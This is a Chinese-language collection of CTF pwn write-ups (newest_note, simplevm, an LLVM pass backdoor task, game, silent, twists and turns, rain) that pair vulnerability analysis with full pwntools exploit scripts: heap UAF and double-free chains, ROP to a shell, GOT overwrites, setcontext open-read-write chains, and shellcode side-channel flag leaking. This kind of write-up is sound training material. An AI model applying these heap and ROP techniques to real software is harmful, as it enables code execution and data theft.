0x1.CISCN2022 newest_note 【整数溢出,UAF】 libc是2.34,由于glibc-all-in-one拉下来的libc没有调试符号,所以看堆特别不方便,因此我们需要手动编译glibc2.34的源码,得到调试符号,然后patch。
看到程序伪代码
readnum返回一个无符号整形
下面的book = malloc(8 * pages);
,存在一个整数溢出,当pages*8超过了0x100000000时,就会向上溢出为一个很小的值。
add函数中,申请的chunk固定为0x30,index由用户设置,只需要小于pages即可,将申请到的chunk存储在由index确定的内存中。
dele函数存在UAF
show功能使用puts输出
漏洞利用
1.利用整数溢出漏洞,将page设置为一个较大的值,溢出之后只会申请一个小chunk
2.先dele掉一个chunk,泄露堆地址
3.计算好index,申请一个chunk,将之前被dele掉的chunk的bk指针填充为新申请来的chunk的地址,这样就能够继续free这个chunk,构成double free
4.double free申请到books,然后将其free得到unsortedbin,泄露libc地址,得到environ的地址
5.得到栈地址
6.第二次double free将chunk申请到栈上,rop拿shell
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *context.log_level='debug' io=process('./newest_note' ) libc=ELF('./libc.so.6' ) def add (index,content ): io.recvuntil(': ' ) io.sendline('1' ) io.recvuntil('Index: ' ) io.sendline(str (index)) io.recvuntil('Content: ' ) io.send(content) def dele (index ): io.recvuntil(': ' ) io.sendline('2' ) io.recvuntil('Index: ' ) io.sendline(str (index)) def show (index ): io.recvuntil(': ' ) io.sendline('3' ) io.recvuntil('Index: ' ) io.sendline(str (index)) def quit (): io.recvuntil(': ' ) io.sendline('4' ) io.recvuntil('How many pages your notebook will be? :' ) size=0x20000000 +0xa0 io.sendline(str (size)) add(0 ,'a' ) add(1 ,'a' ) add(2 ,'a' ) dele(0 ) show(0 ) io.recvuntil('Content: ' ) heap_base=u64(io.recv(5 ).ljust(8 ,'\x00' ))<<12 log.success('heap_base => {}' .format (hex (heap_base))) dele(1 ) dele(2 ) add(0xab ,'a' ) heap_addr=(heap_base>>12 )^(heap_base+0x2a0 ) dele(1 ) add(3 ,p64(heap_addr)) add(4 ,'a' ) add(5 ,p64(heap_base+0x7b0 )) dele(5 ) show(5 ) libc_base=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x3ebcc0 log.success('libc_base => {}' .format (hex (libc_base))) system_addr=libc_base+libc.symbols['system' ] binsh_addr=libc_base+libc.search('/bin/sh' ).next () env=libc_base+libc.symbols['environ' ] pop_rdi=libc_base+0x0000000000028802 log.success('system_addr => {}' .format (hex (system_addr))) log.success('binsh_addr => {}' .format (hex (binsh_addr))) log.success('env => {}' .format (hex (env))) add(0 ,p64(env)) show(0 ) stack_addr=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x138 log.success('stack_addr => {}' .format (hex (stack_addr))) add(6 ,'a' ) add(7 ,'a' ) add(8 ,'a' ) add(9 ,'a' ) dele(7 ) dele(8 ) dele(9 ) add(0x19 ,'a' ) dele(8 ) addr=(heap_base>>12 )^(stack_addr) add(10 ,p64(addr)) payload='a' *8 +p64(pop_rdi)+p64(binsh_addr)+p64(system_addr) add(0 ,'a' ) add(1 ,payload) quit() io.interactive()
0x2.红帽杯2021 simplevm 【llvm pwn,任意地址读写】 llvm pass的pwn题,llvm pass是个啥我就不多解释了,毕竟很多佬们都说过了,这里就记录一下调试等我在做题中遇到的问题
直接用IDA打开题目给的VMPass.so文件,然后在虚表中找到runOnFunction 函数,这个函数位于虚表的最后一个,分析它就行了。
首先会获取函数名,检查是否为o0o0o0o0
,如果是的话就进入sub_7F43E642CAC0
这个函数
遍历IR中的每个BasicBlock,调用sub_7F43E642CB80
进行处理
对每条Instruction
进行处理,如果这条Instruction
是函数调用,则获取函数名,然后根据不同的函数名进行不同的操作
比如这条匹配到函数名为pop,会获取这个函数的第一个参数值,如果为1,就将栈顶的值赋给register1,为2就将栈顶的值赋给register2.
一共有pop,push,store,load,add,min这6个操作,漏洞出现在store和load操作中,如下
store操作将一个寄存器的值赋给另一个寄存器的值指向的内存,没有对寄存器的值做限制,所以存在任意地址写。
load操作和store操作是反过来的,同样没有对寄存器的值做限制,可以认为是一个任意地址读。
在llvmpass pwn中,我们要pwn的不是这个VMPass.so,而是opt这个程序,opt会加载VMPass.so这个动态链接库。
我们首先检查一下opt-8
这个程序的保护
只开启了NX,这种情况我们可以修改某个函数的got表,将其改为onegadget或者system函数,然后触发即可。
那么选择哪个函数的got表进行修改?
在函数的最后,调用了free函数
我们可以将free的got表修改为onegadget,在退出这个函数的时候就会触发onegadget
整体利用思路为:先将free的got表地址利用add功能存入到reg1中,然后利用load功能将free的地址存入reg2,然后计算出onegadget的地址和free地址的偏移,利用add功能在reg2中构造出onegadget的地址,最后利用store功能将onegadget存入free的got表中。
如何调试?我们先写出一个大致的exp.c
1 2 3 4 5 6 void store (int a) ;void load (int a) ;void add (int a, int b) ;void o0o0o0o0 () {}
然后将其生成.ll文件
1 clang -emit-llvm -S exp.c -o exp.ll
要运行exp的话,使用如下命令
1 opt-8 -load ./VMPass.so -VMPass ./exp.ll
我们想要使用gdb调试exp的话,步骤如下:
此时gdb断在了opt-8的main函数,我们使用vmmap命令查看此时的内存分布
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x777000 r-xp 377000 0 /home/lock/CTF/llvmpwn/simpleVM/opt-8 0x777000 0x77e000 r--p 7000 376000 /home/lock/CTF/llvmpwn/simpleVM/opt-8 0x77e000 0x782000 rw-p 4000 37d000 /home/lock/CTF/llvmpwn/simpleVM/opt-8 0x782000 0x7f3000 rw-p 71000 0 [heap] 0x7ffff25a5000 0x7ffff25ca000 r-xp 25000 0 /lib/x86_64-linux-gnu/libtinfo.so.5.9 0x7ffff25ca000 0x7ffff27ca000 ---p 200000 25000 /lib/x86_64-linux-gnu/libtinfo.so.5.9 0x7ffff27ca000 0x7ffff27ce000 r--p 4000 25000 /lib/x86_64-linux-gnu/libtinfo.so.5.9 0x7ffff27ce000 0x7ffff27cf000 rw-p 1000 29000 /lib/x86_64-linux-gnu/libtinfo.so.5.9 0x7ffff27cf000 0x7ffff27d2000 r-xp 3000 0 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7ffff27d2000 0x7ffff29d1000 ---p 1ff000 3000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7ffff29d1000 0x7ffff29d2000 r--p 1000 2000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7ffff29d2000 0x7ffff29d3000 rw-p 1000 3000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7ffff29d3000 0x7ffff29da000 r-xp 7000 0 /lib/x86_64-linux-gnu/librt-2.27.so 0x7ffff29da000 0x7ffff2bd9000 ---p 1ff000 7000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7ffff2bd9000 0x7ffff2bda000 r--p 1000 6000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7ffff2bda000 0x7ffff2bdb000 rw-p 1000 7000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7ffff2bdb000 0x7ffff2bf7000 r-xp 1c000 0 /lib/x86_64-linux-gnu/libz.so.1.2.11 0x7ffff2bf7000 0x7ffff2df6000 ---p 1ff000 1c000 /lib/x86_64-linux-gnu/libz.so.1.2.11 0x7ffff2df6000 0x7ffff2df7000 r--p 1000 1b000 /lib/x86_64-linux-gnu/libz.so.1.2.11 0x7ffff2df7000 0x7ffff2df8000 rw-p 1000 1c000 /lib/x86_64-linux-gnu/libz.so.1.2.11 0x7ffff2df8000 0x7ffff2e29000 r-xp 31000 0 /usr/lib/x86_64-linux-gnu/libedit.so.2.0.56 0x7ffff2e29000 0x7ffff3028000 ---p 1ff000 31000 /usr/lib/x86_64-linux-gnu/libedit.so.2.0.56 0x7ffff3028000 0x7ffff302a000 r--p 2000 30000 /usr/lib/x86_64-linux-gnu/libedit.so.2.0.56 0x7ffff302a000 0x7ffff302b000 rw-p 1000 32000 /usr/lib/x86_64-linux-gnu/libedit.so.2.0.56 0x7ffff302b000 0x7ffff302f000 rw-p 4000 0 [anon_7ffff302b] 0x7ffff302f000 0x7ffff3036000 r-xp 7000 0 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4 0x7ffff3036000 0x7ffff3235000 ---p 1ff000 7000 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4 0x7ffff3235000 0x7ffff3236000 r--p 1000 6000 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4 0x7ffff3236000 0x7ffff3237000 rw-p 1000 7000 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4 0x7ffff3237000 0x7ffff341e000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff341e000 0x7ffff361e000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff361e000 0x7ffff3622000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff3622000 0x7ffff3624000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7ffff3624000 0x7ffff3628000 rw-p 4000 0 [anon_7ffff3624] 0x7ffff3628000 0x7ffff363f000 r-xp 17000 0 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ffff363f000 0x7ffff383e000 ---p 1ff000 17000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ffff383e000 0x7ffff383f000 r--p 1000 16000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ffff383f000 0x7ffff3840000 rw-p 1000 17000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ffff3840000 0x7ffff39dd000 r-xp 19d000 0 /lib/x86_64-linux-gnu/libm-2.27.so 0x7ffff39dd000 0x7ffff3bdc000 ---p 1ff000 19d000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7ffff3bdc000 0x7ffff3bdd000 r--p 1000 19c000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7ffff3bdd000 0x7ffff3bde000 rw-p 1000 19d000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7ffff3bde000 0x7ffff3d57000 r-xp 179000 0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7ffff3d57000 0x7ffff3f57000 ---p 200000 179000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7ffff3f57000 0x7ffff3f61000 r--p a000 179000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7ffff3f61000 0x7ffff3f63000 rw-p 2000 183000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7ffff3f63000 0x7ffff3f67000 rw-p 4000 0 [anon_7ffff3f63] 0x7ffff3f67000 0x7ffff7735000 r-xp 37ce000 0 /usr/lib/x86_64-linux-gnu/libLLVM-8.so.1 0x7ffff7735000 0x7ffff7736000 ---p 1000 37ce000 /usr/lib/x86_64-linux-gnu/libLLVM-8.so.1 0x7ffff7736000 0x7ffff7b48000 r--p 412000 37ce000 /usr/lib/x86_64-linux-gnu/libLLVM-8.so.1 0x7ffff7b48000 0x7ffff7b4b000 rw-p 3000 3be0000 /usr/lib/x86_64-linux-gnu/libLLVM-8.so.1 0x7ffff7b4b000 0x7ffff7bb4000 rw-p 69000 0 [anon_7ffff7b4b] 0x7ffff7bb4000 0x7ffff7bce000 r-xp 1a000 0 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7ffff7bce000 0x7ffff7dcd000 ---p 1ff000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7ffff7dcd000 0x7ffff7dce000 r--p 1000 19000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7ffff7dce000 0x7ffff7dcf000 rw-p 1000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7ffff7dcf000 0x7ffff7dd3000 rw-p 4000 0 [anon_7ffff7dcf] 0x7ffff7dd3000 0x7ffff7dfc000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7fcd000 0x7ffff7fd7000 rw-p a000 0 [anon_7ffff7fcd] 0x7ffff7ff8000 0x7ffff7ffb000 r--p 3000 0 [vvar] 0x7ffff7ffb000 0x7ffff7ffc000 r-xp 1000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 29000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe] 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
由于VMPass.so是动态加载的,此时程序还没有使用VMPass.so中的函数,因此在vmmap中看不到VMPass.so,我们将断点下在getName函数上
然后运行,程序就会断在getName函数,再看此时的vmmap
VMPass.so已经被加载了进来,后续想要打其他断点就很方便了。
由于这个题目的exp很简单,用不到大量调试,我们在pwntools中加载opt-8,查看其中free函数的got表,为0x77e100
然后我们在gdb中查看这个地址中的内容就能得到free函数的真正加载地址
1 2 pwndbg> x/g 0x77e100 0x77e100: 0x00007ffff32ce910
0x00007ffff32ce910
就是free的真正加载地址,然后我们计算出这个地址和onegadget的偏移量
1 2 3 4 5 6 pwndbg> libc libc : 0x7ffff3237000 pwndbg> p/x 0x10a2fc+0x7ffff3237000 $4 = 0x7ffff33412fcpwndbg> p/x 0x7ffff33412fc-0x00007ffff32ce910 $5 = 0x729ec
exp.c如下
1 2 3 4 5 6 7 8 9 void store (int a) ;void load (int a) ;void add (int a, int b) ;void o0o0o0o0 () { add(1 , 0x77e100 ); load(1 ); add(2 , 0x729ec ); store(1 ); }
为啥不拿CISCN2022的satool来复现呢?因为太难了,看了大佬的wp,程序没看明白,洞也没看懂更别说exp了,还是搞搞以前的简单点的来复现
还是直接找到runOnFunction 这个虚函数,分析它就完事了
这个函数很长,开头先获取函数名,然后比较函数名是否为‘r0oDkc4B
’,这里需要注意,这里比较的并不是字符串,而是16进制数,在汇编里看
x86-64是小端序,所以我们看到和真实的数据是反着的,这里实际上是在比较函数名是否为B4ckDo0r
,动态调试也可以看到
然后就进入到一段杂乱的代码中
到这里就有了第一个功能
比较v89是否为save,猜测这里是比较函数名是否为save,然后进入到一大段的检测,最终save实现的功能如下
save有两个参数,都是字符串,save申请一个0x20的堆块,然后将这两个字符串分别复制到这个堆块的fd和bk上
takeaway这个功能没看懂,下一个
stealkey,将heap的值,也就是fd指针的值赋给byte_204100
再看到fakekey
获取参数的值,然后将参数值和byte_204100
的值加起来重新赋值给heap的fd。
最后的run功能
直接调用heap,也就是heap的fd指向的函数。
我们将断点下在save功能中的malloc
此时的堆块情况如下
此时tcache中有一个0x20的chunk,所以此时使用save功能会申请这个chunk
tcache中的这个chunk出来之后,就没有合适的chunk可以直接分配了,后续就会从unsortedbin中切割chunk,这样一来就能够在fd上留下libc的地址,如下图是第二次申请来的chunk
fd上留下了libc的地址。
有了libc地址之后,我们可以调用stealkey功能将libc地址存入byte_204100
,然后再计算出libc地址和onegadget的偏移量,调用fakekey功能,计算出onegadget的地址,将onegadget的地址存入heap的fd中,最后在调用run功能就可以执行onegadget
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 void save (char *s1,char *s2) ;void stealkey () ;void fakekey (int x) ;void run () ;void B4ckDo0r () { save("" ,"" ); save("" ,"" ); stealkey(); fakekey(-0x2e19b4 ); run(); };
0x4.CISCN2021 game 【逆向,off-by-one,orw】 程序有沙箱,main函数很简短,主要逻辑都在execute函数中
读入一段数据后,进入到execute函数中
execute函数开头会对我们输入的cmd进行一些格式检查,如上图所示,输入开头不能为\n\r
。接着检查cmd中是否有:
,检测到:
就将其设置为0,然后继续检测后面的字符中是否存在空格,\r,\n,\t这些字符,如果有的话也将它们设置为0.其他的检查也不多说了,看下面的代码
一个合法的cmd应该如下所示
1 2 3 4 5 6 def add (id ,size,content ): payload='op:2\nid:' +str (id )+'\ns:' +str (size)+'\n' io.recvuntil('cmd> ' ) io.sendline(payload) io.recvuntil('desc> ' ) io.send(content)
就是,这道题自定义了一个格式,即op,id,我们需要按照它定义好的格式进行输入才能够触发各种操作。
看到init函数
传入两个参数,申请了一个0x20的chunk,指针存入heap,然后又申请了两个参数乘积大小的chunk,这里将这两个参数命名为length和width,申请出来的chunk命名为map,随后将map这篇内存清零。将length存入0x20的chunk+8处,将width存入0x20chunk+9处,将map指针存入0x20chunk开头处。
看到create函数
两个参数,index和size,首先生成一组不会大于init函数中的width和length,然后根据传入的参数size申请一块chunk,命名为heap2,往这块chunk中读入数据。接着申请一块0x30的heap1,将bk位置处设置为heap2的地址,fd位置设置为index,heap1[28]=width,heap1[29]=length。
1 2 *((_QWORD *)heap1 + 2 ) = heap[2 ]; heap[2 ] = (int64_t )heap1;
这里可以看出,程序实现了一个类似链表的结构,init函数中申请的那个0x20的chunk就相当于链表头。
看到delete函数
实际上就是根据heap[2]来进行对应chunk的删除
show函数也是同理,根据heap[2]依次输出对应chunk的值。
再看到up函数
传入1个参数,为chunk的index,根据index取到对应的chunk,然后得到其width和length,重新将v5[29]赋值为length-1,这是个啥意思呢
看下面这个图
左边的是(length,width),右边的是(length-1,width),相当于坐标系里面的(x,y)。
1 *(_BYTE *)(*heap + *((unsigned __int8 *)heap + 9 ) * length + width) = 0 ;
这句话就对应着左边这个图,将左边这个图中的这个点清0
1 *(_BYTE *)(*((unsigned __int8 *)heap + 9 ) * (length - 1 ) + width + *heap) = a1;
这句话对应着右边这个图,即将(length-1,width)处设置为index。
后面的down,left,right也都是按照这个思路,实现了下移,左移,右移的功能。
漏洞点在于,对index上下左右位移的时候,并没有对位移的边界做出限制,可以任意移动,因此我们可以直接将index移动到某个chunk的size上,修改其size,构造off-by-one,然后申请到free_hook,使用setcontext来进行orw。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from pwn import *context.log_level='debug' context.arch='amd64' io=process('./game' ) libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) def init (l,w ): payload='op:1\nl:' +str (l)+'\nw:' +str (w)+'\n' io.recvuntil('cmd> ' ) io.sendline(payload) def add (id ,size,content ): payload='op:2\nid:' +str (id )+'\ns:' +str (size)+'\n' io.recvuntil('cmd> ' ) io.sendline(payload) io.recvuntil('desc> ' ) io.send(content) def dele (id ): payload='op:3\nid:' +str (id )+'\n' io.recvuntil('cmd> ' ) io.sendline(payload) def show (): payload='op:4\n' io.recvuntil('cmd> ' ) io.sendline(payload) def up (id ): payload='op:5\nid:' +str (id )+'\n' io.sendline(payload) def down (id ): payload='op:6\nid:' +str (id )+'\n' io.sendline(payload) def left (id ): payload='op:7\nid:' +str (id )+'\n' io.sendline(payload) def right (id ): payload='op:8\nid:' +str (id )+'\n' io.sendline(payload) init(0x10 ,0x10 ) add(1 ,0x410 ,'a' ) add(2 ,0x190 ,'a' ) add(3 ,0x80 ,'a' ) dele(1 ) add(1 ,0x410 ,'a' *8 ) show() libc_base=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x3ebca0 free_hook=libc_base+libc.symbols['__free_hook' ] setcontext_addr=libc_base+libc.symbols['setcontext' ]+53 pop_rdi=libc_base+0x000000000002164f pop_rdx=libc_base+0x0000000000001b96 pop_rsi=libc_base+0x0000000000023a6a open_addr=libc_base+libc.symbols['open' ] read_addr=libc_base+libc.symbols['read' ] write_addr=libc_base+libc.symbols['write' ] ret=libc_base+0x00000000000008aa syscall_ret=libc_base+0x00000000000d2625 pop_rax=libc_base+0x000000000001b500 log.success('libc_base => {}' .format (hex (libc_base))) log.success('free_hook => {}' .format (hex (free_hook))) log.success('setcontext_addr => {}' .format (hex (setcontext_addr))) add(4 ,0x10 ,'a' ) show() io.recvuntil('4: (9,13) ' ) heap_base=u64(io.recv(6 ).ljust(8 ,'\x00' ))-0x2161 log.success('libc_bheap_basease => {}' .format (hex (heap_base))) add(0xb1 ,0x10 ,'a' ) down(0xb1 ) down(0xb1 ) down(0xb1 ) down(0xb1 ) left(0xb1 ) left(0xb1 ) down(0xb1 ) add(0x5 ,0x300 ,'a' ) add(0x6 ,0x80 ,'a' ) dele(1 ) dele(6 ) dele(3 ) add(7 ,0x430 ,'a' *0x418 +p64(0x91 )+p64(free_hook)) add(8 ,0x80 ,'./flag\x00' ) add(9 ,0x80 ,p64(setcontext_addr)) frame=SigreturnFrame() frame.rsp=heap_base+0x2b60 +0xb0 frame.rip=ret payload=str (frame)[:0xb0 ] payload+=p64(pop_rdi)+p64(heap_base+0x2730 )+p64(pop_rsi)+p64(0 )+p64(pop_rax)+p64(2 )+p64(syscall_ret)+\ p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(heap_base+0x2ad0 )+p64(pop_rdx)+p64(0x30 )+p64(pop_rax)+p64(0 )+p64(syscall_ret)+\ p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(heap_base+0x2ad0 )+p64(pop_rdx)+p64(0x30 )+p64(pop_rax)+p64(1 )+p64(syscall_ret) add(10 ,0x300 ,payload) dele(10 ) io.interactive()
0x5.蓝帽杯slient 【shellcode,侧信道爆破flag】 题目开了沙箱
只能使用open和read,不能write
main函数很简短,mmap出一块内存,再读入一段0x40的数据,将这些数据存入mmap出的内存中,再执行,就是考察shellcode编写。
由于没有write,读取到flag后无法输出,这里的利用方式为shellcode盲注,也叫做侧信道攻击。先将flag读出来,然后将flag的每一位拿出来进行比较,类似于sql注入中的盲注,一位一位地得到正确的结果。
先将flag读取到栈顶,然后每次取出一个字节,对这个字节进行爆破,如果爆破成功,就使shellcode进入死循环,否则直接crash。如果shellcode进入死循环,此时就使用io.recv(timeout=1)来进行接收的话就不会出错,而如果shellcode直接crash,io.recv(timeout=1)就会失败,由此来判断是否匹配到了正确的flag,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context.log_level='debug' context.arch='amd64' def BruteChar (sh, idx, C ): exp = ''' xor rax, rax mov eax, 0x67616c66 push rax open: xor rax, rax inc rax inc rax mov rdi, rsp xor rsi, rsi syscall read_flag: mov rdi, rax xor rax, rax mov rsi, rsp xor rdx, rdx mov dl, 0xff syscall brute: mov al, [rsp+%d] cmp al, %d jnz die jmp brute die: mov al, [0] ''' %(idx, C) try : sh.sendlineafter("Welcome to silent execution-box.\n" , asm(exp)) sh.recv(timeout=1 ) return True except : sh.close() return False flag = '' while len (flag)<0x30 : for C in range (0x20 , 0x7F ): io=process('./chall' ) if (BruteChar(io, len (flag), C)): flag+=chr (C) print (flag) break
0x6.2022DASCTFMAY twists and turns【double free,house of kiwi】 开了沙箱,不准getshell
mmap出了一块内存,作为之后存放chunk指针的内存。
三个功能,add功能就是常规的申请一块chunk并读入一些数据,对申请的chunk的size并没有做限制。
漏洞在delete函数中
进行删除时,只检查v1>50,而v1是有符号整形,因此存在数组上溢的情况。
show功能使用puts输出chunk中的数据。
check函数检查malloc_hook和free_hook
不准我们打这俩hook
通过delete功能我们可以在fastbin中构造出double free,再通过fastbin reverse into tcache可以将double free转移到tcache中实现任意地址写(申请一个很大的chunk,比如0x30000,heap不够分配,会调用mmap来进行分配,分配在libc附近,在heap那块内存上方,事先泄露出堆地址后,就可以利用数组上溢进行double free),有了任意地址写其实有很多方法能orw,如house of banana,又或者打IO_FILE,不过这道题出题人想考察的是house of kiwi。
house of kiwi的原理为,当调用__malloc_assert
时,会调用fflush函数,而在fflush执行过程中,有这样一个函数调用
会调用[rbp+0x60]处的函数指针,而RBP为_IO_file_jumps
,rdx为_IO_helper_jumps
,在2.29以上版本中,setcontext的寄存器索引变成了rdx,如下图
我们可以直接将_IO_file_jumps+0x60
设置为setcontext+61,这样调用[rbp+0x60]
就会调用setcontext,然后在_IO_helper_jumps
中设置各种寄存器的值,主要是设置好rsp和rip的值,将rsp设置为某个chunk的地址,在这个chunk中提前布置好orw链,rip设置为ret,这样当setcontext结束时就会ret到rsp上,也就是布置了orw链的chunk上,执行orw。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 from pwn import *context.log_level='debug' io=process('./pwn' ) libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9_amd64/libc-2.31.so' ) def add (size,content ): io.recvuntil('Your choice:' ) io.sendline('1' ) io.recvuntil('Size:' ) io.sendline(str (size)) io.recvuntil('Content:' ) io.send(content) def dele (index ): io.recvuntil('Your choice:' ) io.sendline('2' ) io.recvuntil('Idx:' ) io.send(str (index)) def show (index ): io.recvuntil('Your choice:' ) io.sendline('3' ) io.recvuntil('Idx:' ) io.send(str (index)) add(0x430 ,'a' ) add(0x10 ,'a' ) dele(0 ) add(0x430 ,'a' *0x8 ) show(0 ) libc_base=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x1ebbe0 log.success('libc_base => {}' .format (hex (libc_base))) setcontext_addr=libc_base+libc.symbols['setcontext' ]+61 io_helper_jumps_addr=libc_base+0x1ec8a0 sync_addr=libc_base+libc.symbols['_IO_file_jumps' ]+0x60 pop_rdi=libc_base+0x0000000000026b72 pop_rsi=libc_base+0x0000000000027529 pop_rdx_r12=libc_base+0x000000000011c1e1 ret=libc_base+0x0000000000025679 open_addr=libc_base+libc.symbols['open' ] read_addr=libc_base+libc.symbols['read' ] write_addr=libc_base+libc.symbols['write' ] dele(0 ) add(0x440 ,'a' ) add(0x430 ,'a' *0x10 ) show(2 ) io.recvuntil('a' *0x10 ) heap_base=u64(io.recv(6 ).ljust(8 ,'\x00' ))-0x290 log.success('heap_base => {}' .format (hex (heap_base))) add(0x30000 ,p64(heap_base+0xed0 )) for i in range (9 ): add(0x70 ,'a' ) for i in range (4 ,11 ): dele(i) dele(11 ) dele(12 ) dele(-0x61fe ) for i in range (7 ): add(0x70 ,'a' ) add(0x70 ,p64(sync_addr)) add(0x70 ,'a' ) add(0x70 ,'a' ) add(0x70 ,p64(setcontext_addr)) for i in range (9 ): add(0x60 ,'a' ) for i in range (15 ,22 ): dele(i) dele(3 ) add(0x40000 ,p64(heap_base+0x12e0 )) dele(22 ) dele(23 ) dele(-0x81fe ) for i in range (7 ): add(0x60 ,'a' ) add(0x60 ,p64(io_helper_jumps_addr+0xa0 )) add(0x60 ,'./flag' ) add(0x60 ,'a' ) flag_addr=heap_base+0x1350 orw_addr=heap_base+0x700 payload=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0 )+p64(open_addr)+\ p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(orw_addr)+p64(pop_rdx_r12)+p64(0x30 )+p64(0 )+p64(read_addr)+\ p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(orw_addr)+p64(write_addr) add(0x200 ,payload) add(0x60 ,p64(heap_base+0x13c0 )+p64(ret)) for i in range (15 ,22 ): dele(i) dele(22 ) dele(23 ) dele(24 ) for i in range (7 ): add(0x60 ,'a' ) add(0x60 ,p64(heap_base+0x15c0 )) add(0x60 ,'./flag' ) add(0x60 ,'a' ) add(0x60 ,p64(0 )+p64(0x18 )) gdb.attach(io) add(0x30 ,'a' ) io.interactive()
另外,house of kiwi的适用范围有限制,在2.31这个大版本中,小版本号9.7以下可以使用kiwi,小版本9.7及以上不可使用。但2.32的低版本也可以使用kiwi,因为house of kiwi的提出版本为2.32,具体适用小版本号没有测试。
0x7.SUSCTF 2022 rain【逆向,realloc导致UAF,类型混淆】
看到sub_4013B4
函数
看起来是进行一些初始化,相当乱,静态分析肯定是不太行的
看一下sub_400E17
函数
用来打印一些参数。这个函数的参数其实就是sub_4013B4函数中的v5,因此,根据printf的输出可以对v5结构体进行一些恢复。
另外,在gdb中查看堆块信息也有助于我们恢复结构体,如下图
对照着printf的输出信息恢复结构体,大致如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 struct rain { uint32_t height; uint32_t width; uint8_t font_color; uint8_t back_color; uint8_t pad[6 ]; uint8_t *table1; uint8_t *table2; uint32_t rainfall; uint32_t speed; uint8_t *func; uint8_t *table3; uint8_t *unknow1; uint8_t *unknow2; };
此时再看IDA的伪代码已经清晰了不少
有三个功能
1 2 3 4 5 6 7 8 9 10 int menu () { putchar (10 ); puts ("MENU:" ); puts ("1. Config" ); puts ("2. PrintInfo" ); puts ("3. Raining~" ); puts ("4. Exit~" ); return printf ("ch> " ); }
看到config功能
